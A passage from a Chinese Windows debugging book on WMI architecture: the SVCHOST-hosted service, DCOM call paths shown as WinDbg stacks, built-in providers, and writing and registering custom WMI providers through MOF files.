类,相应的,其实例被称为系统对象。 清单 31-4 显示了当 WMI 应用程序中连接一个命名空间时,WMI 服务器进程内部的 执行过程:CWbemLevel1Login::LoginUser 调用 CCoreServices::GetServices2,然后再调用 CWbemNamespace 类的连接函数,最后创建命名空间的实例。 清单 31-4 WMI 应用程序连接命名空间的内部过程 0:081> k ChildEBP RetAddr 0353f3a0 762ea4a9 wbemcore!CWbemNamespace::CreateInstance+0x56 0353f3b4 762ea548 wbemcore!CWbemNamespace::UniversalConnect+0x47 0353f400 762da5ee wbemcore!CWbemNamespace::PathBasedConnect+0x3c 0353f434 762fbcd7 wbemcore!CCoreServices::GetServices2+0x2b 0353f4a8 762fc0ad wbemcore!CWbemLevel1Login::LoginUser+0x1cf 0353f548 762fc12f wbemcore!CWbemLevel1Login::ConnectorLogin+0x2fc 0353f56c 77e79dc9 wbemcore!CWbemLevel1Login::NTLMLogin+0x21 [以下是 RPC 工作函数,省略] 《软件调试》补编 - 87 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 31.3.4 WMI 服务进程 WMI服务是以进程外服务的形式提供的,WMI应用程序通过WMI API调用位于 WMI 服务进程中的 WMI 服务。因为 WMI 服务都是以 COM/DCOM 形式封装好的,所以调用 WMI 服务的过程是典型的调用 EXE 中的 COM/DCOM 服务器的过程。 WMI 服务进程是 WMI 服务组件的宿主(host)进程,在 Windows 9x 系统中,WMI 服务进程是以单独的可执行文件(Winmgmt.exe)形式运行的。在 Windows NT 和 2000 系 统中,WMI 服务进程是以 Windows 系统服务的形式自动启动和运行的,服务的可执行文 件也是 Winmgmt.exe。在 Windows XP 系统中,WMI 服务进程也是以系统服务的形式运行 的,不过服务的可执行文件是 SVCHOST.EXE。 SVCHOST.EXE SVCHOST.EXE 是 Windows 系统中的多个服务的共享宿主进程。在典型的 Windows XP 系统中,通常有三个或更多的 SVCHOST 进程的实例在运行,承载着多个不同的系统 服务,典型的有 WMI 服务,RPC 服务等。通常每个 SVCHOST 进程实例负责一组服务, 以下注册表表键下定义了各个组的名称和每组所包含的服务: HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Svchost 图 31-9 显示了在笔者使用的 Windows XP SP2 系统上,使用 SVCHOST 作为宿主进程 的各组服务。图中右侧的每个键值定义一个组,所以共有 8 个组。键值名称即组名,键值 数据包含改组内的服务的服务名(Service Name)。每个服务在如下表键下都有个子键,定 义了该服务的详细信息。 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ 图 31-9 使用 SVCHOST 作为宿主进程的系统服务 每个 SVCHOST 进程负责一组服务,所以如果以上 8 组服务全部启动,那么在任务管 理器中就会看到 8 个 SVCHOST 进程,但因为很多服务都是按需要自动启动的,所有有些 服务可能并不是每次都启动。使用 tasklist /SVC 命令可以列出系统中的所有进程中所包含 的系统服务。从中可以看到 SVCHOST 进程的每个实例,和这个实例中所承载的各个服务 (清单 31-5)。 清单 31-5 使用 tasklist /SVC 命令观察进程中所包含的系统服务 C:\>tasklist /SVC Image Name PID Services ========================= ====== ============================================= System Idle Process 0 N/A System 4 N/A smss.exe 876 N/A 《软件调试》补编 - 88 – Copyright © 2009 ADVDBG.ORG All Rights Reserved csrss.exe 1340 N/A winlogon.exe 1368 N/A services.exe 1412 Eventlog, PlugPlay lsass.exe 1424 Netlogon, PolicyAgent, ProtectedStorage, SamSs ibmpmsvc.exe 1584 IBMPMSVC ati2evxx.exe 1612 Ati HotKey Poller svchost.exe 1624 DcomLaunch, TermService svchost.exe 1700 RpcSs svchost.exe 1896 AudioSrv, CryptSvc, Dhcp, ERSvc, EventSystem, helpsvc, Irmon, lanmanserver, lanmanworkstation, Netman, Nla, RasMan, Schedule, seclogon, SENS, ShellHWDetection, srservice, TapiSrv, Themes, TrkWks, W32Time, winmgmt winmgmt winmgmt winmgmt, WZCSVC S24EvMon.exe 1932 S24EventMonitor svchost.exe 272 Dnscache svchost.exe 524 LmHosts, RemoteRegistry, SSDPSRV, WebClient spoolsv.exe 836 Spooler [后面的省略] 列表的第一列是进程的映像文件名称,第二列是进程 ID,第三类是该进程所包含的 系统服务,N/A(Not Applicable)该进程内没有系统服务。使用 tlist 工具(参见第 22 章) 也可以看到类似的信息。 使用 SVCHOST 作为宿主进程的系统服务需要将自己的真正服务模块实现在 DLL 中, 并通过注册表中该服务的 Parameters 表键将 DLL 文件名称(ServiceDll)和入口函数 (ServiceMain)告诉给 SVCHOST 进程。比如 WMI 服务的注册表设置如图 31-10 所示。 图 31-10 WMI 服务的注册表设置 要说明的是,WMI 服务的服务名是 winmgmt,并非 WMI。注册表中却是存在名为 WMI 的服务,但它是 WMI 的驱动程序扩展(Driver Extensions),用于支持内核态的驱动 程 序 实 现 WMI 有 关 的 功 能 。 从 图 31-10 可 以 看 到 , WMI 服 务 的 服 务 模 块 是 %SystemRoot%\system32\wbem\WMIsvc.dll,即 WMISvc.DLL,服务的主函数(入口函数) 是 ServiceMain,使用 Depends 工具观察 WMISvc.DLL 文件,可以看到 ServiceMain 函数 是 WMISvc.DLL 的一个导出函数。因此可想而知,当启动 WMI 服务时,SVCHOST 进程 会根据 ServiceDll 指定的路径加载 WMISvc.DLL,然后动态取得并执行 ServiceMain 键值 指定的服务入口函数。ServiceMain 函数内部会初始化 WMI 数据仓库和 CIM 对象管理器 等基础构件,然后启动一系列工作线程开始提供服务。 31.3.5 WMI 服务的请求和处理过程 WMI 应用程序利用 DCOM 技术来使用 WMI 服务进程内的 WMI 服务。DCOM 是分 布式组件模型的简称,是对 COM 技术的扩展,目的是使不同计算机上的 COM 对象可以 相互通信。DCOM 协议又被称为对象 RPC(Object Remote Procedure Call),是基于标准 RPC 协议而制定的。ORPC 规约(specification)定义了如何跨计算机创建、表示、使用和 维护 COM 对象以及如何调用对象的方法。COM/DCOM 运行库封装了使用 RPC 通信的细 《软件调试》补编 - 89 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 节,使程序员可以像使用本地 COM 组件一样来使用 DCOM 组件。 为了降低设计 WMI 应用程序的难度,Windows 提供了一系列本地化的组件来进一步 简化调用 WMI 服务的过程,这些组件的实现在 WBEMPROX.DLL 中。 发起请求 发起请求 发起请求 发起请求 清 单 31-6 是 WbemClient 程 序 ( WMI 应 用 程 序 , SDK 的 一 个 例 子 , 位 于 Samples\SysMgmt\WMI\VC\SimpleClient)通过 IWbemLocator 接口的 ConnectServer 方法 连接某个命名空间时的执行过程(函数调用序列)。 清单 31-6 通过 IWbemLocator 接口的 ConnectServer 方法连接 WMI 服务的执行过程 0012e32c 77ef3eac RPCRT4!NdrProxySendReceive [省略三行 RPCRT4 内部的调用] 0012e79c 77520a71 ole32!CRpcResolver::CreateInstance+0x13d 0012e9e8 7752cddf ole32!CClientContextActivator::CreateInstance+0xfa 0012ea28 7752cc24 ole32!ActivationPropertiesIn::DelegateCreateInstance+0xf7 0012f1d8 774ffaba ole32!ICoCreateInstanceEx+0x3c9 0012f200 774ffa89 ole32!CComActivator::DoCreateInstance+0x28 0012f224 74ef18c1 ole32!CoCreateInstanceEx+0x1e 0012f258 74ef186e wbemprox!CDCOMTrans::DoActualCCI+0x3d 0012f29c 74ef15db wbemprox!CDCOMTrans::DoCCI+0x12d 0012f358 74ef17e4 wbemprox!CDCOMTrans::DoActualConnection+0x25c 0012f384 74ef1ee1 wbemprox!CDCOMTrans::DoConnection+0x25 0012f3c4 00415752 wbemprox!CLocator::ConnectServer+0x7c 0012f45c 782aca70 WbemClient!CWbemClientDlg::OnConnect+0xf2 从下而上,我们可以清楚的看到,当我们点击 WbemClient 程序的连接按钮后,其 OnConnect 方法创建并使用 WbemLocator 对象试图连接指定的命名空间。 pIWbemLocator->ConnectServer(pNamespace, // path of the namespace to connect NULL, // using current account for simplicity NULL, // using current password for simplicity 0L, // locale 0L, // securityFlags NULL, // authority (domain for NTLM) NULL, // context &m_pIWbemServices) wbemprox.dll 中的 CLocator 类是对 IWbemLocator 接口的实现。接下来,CLocator 类 调用另一个内部类 CDCOMTrans 真正开始连接。CoCreateInstanceEx 是创建对象实例的一 个重要 API。它既支持创建本地对象,也支持创建指定机器上的远程对象。需要说明的是, 即使 WMI 应用程序就是调用同一台机器上的 WMI 服务,系统也会使用统一的 RPC 机制 进行处理。最后,RPCRT4!NdrProxySendReceive 函数将数据消息发送给服务器并等待回 复。NDR 是 Network Data Representation 的缩写,即网络数据表示,DCOM 和 RPC 底层 负责数据列集(marshaling)和网络通信的一系列函数和类通常被称为 NDR 引擎。 顺便介绍一个小窍门,因为 NDR 的收发函数是 RPC 和 DCOM 调用的一条必经之路, 所以通过对这些函数设置断点可以截获 RPC 和 DCOM 调用,然后可以打印函数调用序列 或 者 使 用 WinDbg 的 关 于 RPC 扩 展 命 令 ( 输 入 !rpcexts.help 显 示 帮 助 ) 显 示 MIDL_STUB_MESSAGE(!rpcstub)、RPC_MESSAGE(!rpcmsg)等结构。 受理服务 受理服务 受理服务 受理服务 DCOM 和 RPC 机制会将 WMI 应用程序发起的服务调用转发给 WMI 服务器进程中的 相应函数(组件的方法)。对于枚举和查询这样的请求,WMI 会将该请求放入一个对列, 然后由现有的或新启动的工作线程来处理这个请求。清单 31-7 显示了 WMI 服务进程 (SVCHOST 进程)内接收枚举实例(enuerate instance)请求并将其放入对列的执行过程。 《软件调试》补编 - 90 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 清单 31-7 WMI 服务进程接收枚举实例请求并将其放入对列的执行过程 0:064> k ChildEBP RetAddr 0158f418 762cec2f wbemcore!CCoreQueue::PlaceRequestInQueue+0xba 0158f4a4 762f7463 wbemcore!CCoreQueue::Enqueue+0x1cf 0158f4e4 762ee2a0 wbemcore!ConfigMgr::EnqueueRequest+0x77 0158f518 762eabeb wbemcore!CWbemNamespace::_CreateInstanceEnumAsync+0x19f 0158f560 77e79dc9 wbemcore!CWbemNamespace::CreateInstanceEnum+0xae [以下是 RPC 工作函数,省略] 对于连接命名空间这样的请求,WMI 会立即处理,前面的清单 31-5 显示了其内部过 程。 WMI 的工作线程会依次处理被放在对列中的请求任务,位于 WBEMCORE.DLL 中的 CCoreQueue 是专门用于管理和维护 WMI 请求对列的一个内部类,它提供了很多方法用于 完成对对列的操作,包括加入请求(Enqueue、ExecSubRequest)、执行请求(Execute)、 创建新工作线程(DoesNeedNewThread 和 CreateNewThread)。清单 31-8 显示了一个 WMI 工作线程执行队列中的查询请求的过程。 清单 31-8 WMI 工作线程执行队列中的查询请求的过程 0:022> k ChildEBP RetAddr 011cfbdc 752146c9 repdrvfs!CNamespaceHandle::ExecQuery 011cfc1c 762d11e0 repdrvfs!CSession::ExecQuery+0xb6 011cfc7c 762d167e wbemcore!CRepository::ExecQuery+0xb5 011cfcd8 762ddadc wbemcore!CRepository::GetRefClasses+0x8d 011cfcf4 762e124d wbemcore!CAssocQuery::Db_GetRefClasses+0x20 011cfd58 762e2328 wbemcore!CAssocQuery::BuildMasterAssocClassList+0x71 011cfd9c 762e25a8 wbemcore!CAssocQuery::ExecNormalQuery+0x6b 011cfdec 76303336 wbemcore!CAssocQuery::Execute+0x178 011cfe8c 762fc769 wbemcore!CQueryEngine::ExecQuery+0x2a1 011cfea8 762cef24 wbemcore!CAsyncReq_ExecQueryAsync::Execute+0x19 011cfed4 762ced4e wbemcore!CCoreQueue::pExecute+0x3c 011cff04 762f25cb wbemcore!CCoreQueue::Execute+0x18 011cff4c 762cee89 wbemcore!CWbemQueue::Execute+0xf6 011cff80 762cf0f9 wbemcore!CCoreQueue::ThreadMain+0x111 011cffb4 7c80b50b wbemcore!CCoreQueue::_ThreadEntryRescue+0x56 011cffec 00000000 kernel32!BaseThreadStart+0x37 31.4 WMI 提供器 从广义来讲,凡是为 WMI 应用程序(WMI 消耗器)提供管理数据或执行操作的 WMI 组件都属于 WMI 提供器,包括 CIM 中使用 MOF 编写的各个类以及它们的实例。但是很 多时候,WMI 提供器是特指通过 COM API 与 WMI 核心部件交互而提供管理服务(尤其 是动态信息)的 WMI 组件。从 COM 接口的角度来讲,WMI 提供器就是实现了 WMI 对 象管理器所规定接口(例如 IWbemServices 和 IWbemProviderInit)的 COM 组件。 从提供器所提供内容的属性来看,WMI 提供器主要提供以下三类内容(功能): 类:定义了(包含了)新的类,这样的提供器又叫类提供器。 实例:定义了类的实例,这样的提供器又叫实例提供器。 事件:定义了新的事件,这样的提供器又叫事件提供器。 方法:主要是实现 IWbemServices 接口的 ExecMethodAsync 方法,即执行类的方法。 这样的提供器又叫方法提供器。 属性:实现了 IWbemPropertyProvider,为某个 WMI 类提供和设置属性数据。这样的 提供器又叫属性提供器。 事件消耗器:定义了永久的事件接受器,这样的提供器又叫事件消耗器提供器。 《软件调试》补编 - 91 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 一个提供器通常至少提供以上六种功能中的一种,当然也可以同时提供多种功能,例 如纯粹的方法提供器很少,通常是与类和实例提供器实现在一起。 31.4.1 Windows 系统的 WMI 提供器 为了提供简单一致的可管理性,Windows 操作系统本身和微软的很多产品都内嵌了对 WMI 的支持,配备了 WMI 提供器可以被管理程序通过 WMI 来访问和管理。表 31-8 列出 了 Windows 系统中常见的 WMI 提供器和简要描述。 表 31-8 Windows 系统中常用的 WMI 提供器 WMI 提供器 管理目标 类、实例或事件* 内核追踪提供器 内核追踪(kernel tracing)事 件,参见 17 章关于的介绍。 Win32_ProcessTrace , Win32_ThreadTrace , Win32_ModuleLoadTrace 等 活动目录提供器 活动目录(Active Directory) 中的对象。 [WMI\LDAP]: DS_LDAP_Class_Containment , RootDSE BizTalk 提供器 BizTalk 服务器。 Win32_PerfRawData 及其派生类。 性能计数器提供器 原始的性能计数器数据。 加工后计数器提供器 计算好的(Cooked)计数器 数据。 Win32_PerfFormattedData 及其派生 类 Perfmon 提供器 性能监视数据,不是高性能 的计数器。建议使用上面两 种。 实例提供器。 DFS 提供器 Distributed File System (DFS) 。 Win32_DFSNode , Win32_DFSTarget , Win32_DFSNodeTarget DNS 提供器 Domain Name System (DNS) 资源记录(resource records, 简称 RR)以及 DNS 服务。 Disk Quota 提供器 每个用户可以存储在 NTFS 文件系统中的最大数据量 (数据配额)。 Win32_DiskQuota , Win32_QuotaSetting , Win32_VolumeQuotaSetting Event Log 提供器 事件日志(Event Log)数据。 Win32_NTEventlogFile Win32_NTLogEvent Win32_NTLogEventLog IIS 提供器 IIS ( Internet Information Services)服务。 IIsWebServerSetting IP Route 提供器 网络路由信息。 Win32_IP4RouteTable , Win32_IP4PersistedRouteTable , Win32_ActiveRoute , Win32_IP4RouteTableEvent Job Object 提供器 命名的作业(Job)内核对象 Win32_NamedJobObjectStatistics Win32_NamedJobObjectProcess Win32_NamedJobObjectLimit Win32_NamedJobObjectSecLimit Ping 提供器 PING 命令得到的状态信息。 Win32_PingStatus Policy 提供器 组策略。 [\root\policy]: MSFT_Providers , MSFT_Rule , MSFT_SomFilter 电源管理事件提供器 电源管理事件。 事 件 提 供 器 ( MS_Power_Management_Event_P rovider) 《软件调试》补编 - 92 – Copyright © 2009 ADVDBG.ORG All Rights Reserved WMI 提供器 管理目标 类、实例或事件* Security 提供器 安全设置。 Win32_AccountSID,Win32_Ace, Win32_SID Win32_LogicalFileAccess , Win32_LogicalFileAuditing , Win32_Trustee 等。 Session 提供器 网络会话和连接(network sessions and connections)。 Win32_ServerSession Win32_ServerConnection Shadow Copy 提供器 共 享 资 源 ( 文 件 夹 ) 的 Shadow 复制。 Win32_ShadowProvider Win32_ShadowCopy Win32_ShadowContext SNMP 提供器 MIB ( Management Information Base)中定义的 Simple Network Management Protocol (SNMP)对象。 Storage Volume 提供器 存储卷(storage volume) Win32_Volume Win32_DefragAnalysis System Registry 提 供 器 系统注册表。 [root\DEFAULT]: StdRegProv , RegistryKeyChangeEvent 等。 "RegProv" , "RegistryEventProvider" , "RegPropProv" 终端服务提供器 Terminal Services。 Win32_Terminal , Win32_TerminalService , Win32_TerminalServiceSetting 等。 Trustmon 提供器 域(domain)之间的信赖关 系。 [root\microsoftactivedirectory]: Microsoft_TrustProvider , Microsoft_DomainTrustStatus , Microsoft_LocalDomainInfo WDM 提供器 符合 Windows Driver Model (WDM)规范的设备驱动程 序。 [root\wmi]: Win32 提供器 Windows 系统。 以 Win32_开头的众多类。 Windows Installer 提 供器 Windows Installer(MSI)及 与其兼容的应用程序。 Win32_Product , Win32_SoftwareElement , Win32_SoftwareFeature 等。 Windows 产品激活提 供器 Windows 产 品 激 活 ( Windows Product Activation ,简称 WPA) 管 理。 Win32_ComputerSystemWindows- ProductActivationSetting Win32_Proxy Win32_WindowsProductActivation *方括号中为命名空间路径。 31.4.2 编写新的 WMI 提供器 可以把开发 WMI 提供器的过程分成两个主要任务,一是编写提供服务的 COM 组件, 二是向 CIM 对象管理器注册。 编写 编写 编写 编写 WMI 提供器的 提供器的 提供器的 提供器的 COM 组件 组件 组件 组件 编写 WMI 提供器 COM 组件的过程和编写普通 COM 组件很类似。设计普通 COM 组 件时,我们首先要考虑的一个问题就是该组件要实现什么样的接口(interface)。因为接口 《软件调试》补编 - 93 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 决定了组件的主要功能和被调用方式。 IWbemServices 接口是 WMI 对外提供服务的重要窗口,WMI 应用程序(消耗器)成 功连接到 WMI 的某个命名空间后,WMI 对象管理器返回给 WMI 应用程序的最重要信息 便是一个 IWbemServices 类型的对象指针。因为 IWbemServices 接口具有非常好的通用性, 所以很多 WMI 组件都实现了这个接口,比如 WMI 命名空间(CWbemNameSpace)。WMI 中的通信(方法调用)也经常使用 IWbemServices 类型。IWbemServices 接口也是大多数 WMI 提供器要实现的首要接口。在 WMI 提供器五种类型中,有三种(类提供器、实例提 供器和方法提供器)都是以 IWbemServices 接口为核心的。表 31-9 列出了 IWbemServices 接口的主要方法。 表 31-9 IWbemServices 接口的主要方法 方法 描述 OpenNamespace 打开指定的子命名空间。 CancelAsyncCall 取消一个正在执行的异步调用。 QueryObjectSink Allows a caller to obtain a notification handler sink. GetObject Retrieves an object—an instance or class definition. GetObjectAsync Asynchronously retrieves an object—an instance or class definition. PutClass Creates or updates a class definition. PutClassAsync Asynchronously creates or updates a class definition. DeleteClass Deletes a class. DeleteClassAsync Deletes a class and receives confirmation asynchronously. CreateClassEnum Creates a class enumerator. CreateClassEnumAsync Creates a class enumerator that executes asynchronously. PutInstance Creates or updates an instance of a specific class. PutInstanceAsync Asynchronously creates or updates an instance of a specific class. DeleteInstance Deletes a specific instance of a class. DeleteInstanceAsync Deletes an instance and provides confirmation asynchronously. CreateInstanceEnum Creates an instance enumerator. CreateInstanceEnumAsync Creates an instance enumerator that executes asynchronously. ExecQuery Executes a query to retrieve classes or instances. ExecQueryAsync Executes a query to retrieve classes or instances asynchronously. ExecNotificationQuery Executes a query to receive events. ExecNotificationQueryAsync Executes a query to receive events asynchronously. ExecMethod Executes an object method. ExecMethodAsync Executes an object method asynchronously. IWbemProviderInit 接口的 Initialize 方法是 WMI 提供器所属的命名空间对象对其进行 初始化的主要途径,通过该方法,命名空间对象让提供器得到初始化的机会,并将必要的 信息传递给提供器,其中包括指向自身的一个指针,提供器可以通过该指针反过来调用 CIM 对象管理器的方法。 HRESULT Initialize( LPWSTR wszUser, LONG lFlags, LPWSTR wszNamespace, LPWSTR wszLocale, IWbemServices* pNamespace, IWbemContext* pCtx, 《软件调试》补编 - 94 – Copyright © 2009 ADVDBG.ORG All Rights Reserved IWbemProviderInitSink* pInitSink ); 因此,大多数 WMI 提供器也通常会实现 IWbemProviderInit 接口。 如果使用 C++语言来,那么 WMI 类提供器、实例提供器和方法提供器的核心类的典 型定义就是: class CInstOrClassOrMethodProvider : public IWbemServices, public IWbemProviderInit 接下来的任务就是实现 IWbemProviderInit 和 IWbemServices 接口所定义的各个方法 了。我们暂时跳过这一内容,留给第 20 章结合实际任务进行讨论。 事 件 提 供 器 要 实 现 的 主 要 接 口 是 IWbemEventProvider , 通 常 还 实 现 IWbemEventProvider 和 IWbemEventProviderSecurity 分别用于初始化和安全控制。 class CMyEventProvider : public IWbemEventProvider, public IWbemProviderInit, public IWbemEventProviderSecurity IWbemEventProviderSecurity 接口只有一个方法 AccessCheck(不包括从 IUnknown 继 承的方法),是用来检查请求订阅事件的事件消耗器程序是否可以接受该事件。 属性提供 器要实 现的首 要接口是 IWbemPropertyProvider,该接口有 两个方 法 GetProperty 和 PutProperty。 class CPropPro : public IWbemPropertyProvider 事件消耗器提供器要实现的主要接口是 IWbemEventConsumerProvider,该接口只有一 个方法,即 FindConsumer。 HRESULT FindConsumer( IWbemClassObject* pLogicalConsumer, IWbemUnboundObjectSink** ppConsumer ); 通过该方法,WMI 将一个逻辑消耗器对象传递给事件消耗器提供器,事件消耗器提 供器应该返回一个事件接插器对象(event sink object)供事件类触发事件时使用。 实现好主要的提供器类后,还有一个工作就是要实现类工厂,或者说实现并导出 DllGetClassObject 方法。通常每个 DLL 形式的 COM 组件都会导出 DllGetClassObject 方法, 目的是当系统中有客户程序要使用该 COM 组件时,COM 库函数会调用 DllGetClassObject 方法让 COM 组件创建指定接口的对象实例。关于如何编写类工厂的进一步细节超出了本 书的范围,WMI SDK(Pltform SDK)对于每种 WMI 提供器都给出了一个完整的例子, 位于 Samples\SysMgmt\WMI\VC\目录下。感兴趣的读者可以参考,在此不再详述。 注册 注册 注册 注册 WMI 提供器 提供器 提供器 提供器 编写好的 WMI 提供器组件和其它 COM 组件一样可以注册到 Windows 系统中,通常 是通过 regsvr32 命令将组件的类 ID、接口的 GUID 及服务模块等信息注册到注册表中。 但对于 WMI 提供器来说,只注册为 COM 服务器还不够,还需要向 WMI 的对象管理器注 册,这样 WMI 应用程序才可以通过 WMI 枚举到这个提供器所提供的类或实例等。 向 WMI 注册提供器的简单方法就是先编写一个 MOF 文件,然后使用 mofcomp 命令 执行注册操作。其大体步骤如下: 1. 创建一个 MOF 文件,然后指定要注册到的目标命名空间。 #pragma namespace("\\\\.\\ROOT\\MyNamespace") 以上指令将当前命名空间设定为本地机器的\root\MyNamespace。 《软件调试》补编 - 95 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 2. 创建一个__Win32Provider 类的实例。__Win32Provider 是一个内部类,用于描述提供 器对象。可以把创建一个__Win32Provider 实例的过程理解成是在 CIM 对象数据库的 __Win32Provider 数据表中增加一行。每个属性的值就是这一行对应列的值。 instance of __Win32Provider as "$Reg ; { Name = "RegProv"; CLSID = "{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"; HostingModel = “NetworkServiceHost:LocalServiceHost” }; 以上语句实质上会在提供器表中增加一行新的记录,该行 Name 列、CLSID 列和 hostingMode 列的内容分别等于指定的值。Name 即该提供器的名称,不需解释。CLSID 是该提供器的 COM 组件的 GUID。COM 注册时,该 GUID 会被写入注册表。WMI 就是 通过提供器的 GUID 找到它,然后借助 COM 技术加载对应的模块和创建提供器对象。 HostingModel 用来指定提供器的宿主(host)特征,即 WMI 应该以什么样的环境来加载 和运行提供器,包括以什么帐号来加载它以及将其加载到哪个进程。目前 WMI 支持如下 几种 HostingModel: SelfHost:提供器运行在自己的本地 COM 服务器进程(EXE)中。 LocalSystemHost 、 LocalSystemHostOrSelfHost 、 NetworkServiceHost 和 LocalServiceHost:如果提供器是以进程内 COM 服务器的方式实现的,那么便运 行在共享的提供器宿主进程(wmiprvse.exe)中。否则提供器便是运行在自己的本 地 COM 服务器进程(EXE)中。这几个选项的差异是宿主进程是以哪个帐号运 行的,LocalSystem 的权限最高,应该仅在当提供器需要访问特权信息时才使用。 NetworkService 和 LocalService 的权限都是受限的(limited),如果提供器需要访 问远程的机器,那么推荐使用 NetworkService,如果所有操作都是在本地机器上 完成,那么推荐使用 LocalService。 Decoupled:Com:提供器运行在隔离的 WMI 客户进程中。 需要说明的是,HostingModel 设置只适用于 Windows 2000 只后的 Windows,对 于 Windows 2000 来说,说有进程内提供器(DLL 形式的提供器)都运行在 winmgmt 进程内。 3. 创 建 __ProviderRegistration 类 或 其 派 生 类 的 实 例 。 WMI 提 供 了 六 个 __ProviderRegistration 类__ClassProviderRegistration、__InstanceProvider- Registration、 __EventProviderRegistration 、 __EventConsumerProviderRegistration 、 __MethodProviderRegistration、__PropertyProviderRegistration 分别用来注册 6 种类型 的提供器。如果一个提供器实现了多个角色,那么便要分别创建多个实例。比如如下 语句为 StdRegProv 提供器注册了实例提供器和方法提供器两种身份。 instance of __InstanceProviderRegistration { provider = "$Reg"; SupportsDelete = FALSE; SupportsEnumeration = TRUE; SupportsGet = TRUE; SupportsPut = TRUE; }; instance of __MethodProviderRegistration { provider = "$Reg"; }; 4. 将以上内容保存到一个 MOF 文件中并放在一个安全的位置。然后使用 mofcomp 命令 编译并执行以上语句。如果一切顺利,那么提供器便顺利注册了。 《软件调试》补编 - 96 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 5. 接下来可以使用我们前面介绍的 WMI CIM Studio 在第一步指定的命名空间中寻找刚 注册的提供器(类和实例),检验其是否工作正常。要提醒大家的是,如果遇到 0x80041013 错误,那么其含义是 Provider load failure,即加载提供其失败,这时首先 应该检查提供器的 COM 组件是否成功注册以及对应的模块文件是否存在。 31.4.3 WMI 提供器进程 所谓 WMI 提供器进程就是指 WMI 提供器所处的进程,因为少量的 EXE 形式的提供 器运行在自己的进程中,不需要 WMI 为其提供宿主进程,所以很多时候(包括本书), WMI 提供器进程是用来泛指承载(host)DLL 形式的 WMI 提供器的进程。 在 Windows 2000 中,WMI 的服务进程(winmgmt.exe)同时承担提供器进程的角色。 这样的做的问题是如果某个提供器中的代码发生了错误,那么可能导致整个进程崩溃。 Windows XP 对此做了改进,使用 wmiprvse.exe 进程来加载和运行提供器模块。 wmiprvse.exe 进程的个数是不确定的,WMI 服务进程会根据需要动态创建 wmiprvse.exe 进程,当不需要时,wmiprvse.exe 进程会退出。所以在任务列表中,有时我们可能看不到 wmiprvse.exe 进程,但是如果运行一个使用 WMI 服务的程序,那么就可以看到这个进程 了,过一回可能又会发现这个进程不见了。wmiprvse.exe 进程和 WMI 服务进程之间也是 使用 RPC 机制进行通行。清单 31-9 的函数调用序列显示了当执行枚举 InstProvSamp 类实 例的脚本时,wmiprvse.exe 进程内的 WMI 提供器类(CInstPro)的方法被调用的过程。 清单 31-9 运行在 wmiprvse.exe 进程内的 InstProvSamp 提供器类被远程调用的典型过程 instprov!CreateInst+0x10 instprov!CInstPro::CreateInstanceEnumAsync+0xd3 wmiprvse!CInterceptor_IWbemSyncProvider::Helper_CreateInstanceEnumAsync+0x152 wmiprvse!CInterceptor_IWbemSyncProvider::CreateInstanceEnumAsync+0x70 RPCRT4!CheckVerificationTrailer+0x75 RPCRT4!NdrStubCall2+0x215 RPCRT4!CStdStubBuffer_Invoke+0x82 FastProx!CBaseStublet::Invoke+0x22 ole32!SyncStubInvoke+0x33 ole32!StubInvoke+0xa7 [以下省略多行] 如此看来,在 Windows XP,WMI 应程序和 WMI 提供器之间的通信大多要经历两次 基于 RPC 机制的进程间通信(参见图 31-11),RPC 通信为分布式管理提供了支持,有着 很高的灵活性,但是这也是有代价的,要进行比较复杂的安全检查和数据整理工 WMI应用 程序 WMI服务 进程 (hostsvc.exe ) WMI提供 器进程 (wmiprvse.e xe) 图 31-11 WMI 应程序和提供器间的通信过程(Windows XP) 作,因此比一般的本地进程间通信速度要慢很多。另外,因为提供器进程是动态创建的, 创建和初始化该进程也需要一些时间。这些因素导致执行到调用 WMI 服务的代码时,有 时可以感觉到明显的时间延迟。 《软件调试》补编 - 97 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 31.5 WMI 应用程序 WMI 应用程序通常是指利用 WMI 服务提供各种管理功能的软件工具。WMI 应用程 序使通过 WMI 技术构建的管理服务为用户所用、发挥价值。从消耗和提供的角度来看, WMI 应用程序消耗(Consume)WMI 服务提供器提供的信息,因此属于消耗器。 简单来说,Windows 提供了以下四种方式供不同类型的应用程序使用 WMI 服务: 1. COM/DCOM 接口,C/C++程序可以通过这些接口与 WMI 的核心组件通信并调用所需 的服务。 2. ActiveX 控件,各种脚本程序可以通过进一步封装过的 ActiveX 控件来调用 WMI 服务。 3. ODBC 适配器(ODBC Adaptor),通过该适配器,可以像访问数据库那样访问 WMI 中的信息。 4. .Net 框架中的 System.Management 类库,.Net 程序可以通过该类库中的各个类使用 WMI 服务。 下面我们分别进行介绍。 31.5.1 通过 COM/DCOM 接口使用 WMI 服务 使用 C/C++调用 WMI 服务是其前面介绍的四种方式中最复杂的一种,因为需要在应 用程序中自己初始化 COM 库、创建组件实例、并完成琐碎的清理工作。但是这种方式的 优点是灵活性高,执行速度也会快一些。 使用 C/C++调用 WMI 服务的过程归纳为以下几个步骤。 初始化 初始化 初始化 初始化 COM 库 库 库 库 因为 WMI 服务都是以 COM 组件的形式建立的,所以访问 WMI 服务的过程实际上就 是创建和使用 COM 组件的过程。在使用 COM API 创建 COM 对象之前,必须进行初始化, 可以使用 CoInitializeEx 函数或 OleInitialize 函数来初始化 COM 库。 初始化进程安全属性 初始化进程安全属性 初始化进程安全属性 初始化进程安全属性 因为很多 WMI 服务都定义了安全控制,所以通常还需要调用 CoInitializeSecurity 来 设置当前进程的默认安全属性。 hres = CoInitializeSecurity( NULL, -1, // COM negotiates service NULL, // Authentication services NULL, // Reserved RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation NULL, // Authentication info EOAC_NONE, // Additional capabilities NULL // Reserved ); 连接 连接 连接 连接 WMI 服务 服务 服务 服务 在使用 WMI 服务(类或提供器)前,必须先与该服务所在的命名空间建立连接,目 的是获得一个实现了 IWbemServices 接口的 WBEM 服务实例。可以使用 IWbemLocator 接口的 ConnectServer 方法来实现这一目的。这先需要创建一个实现了 IWbemLocator 接口 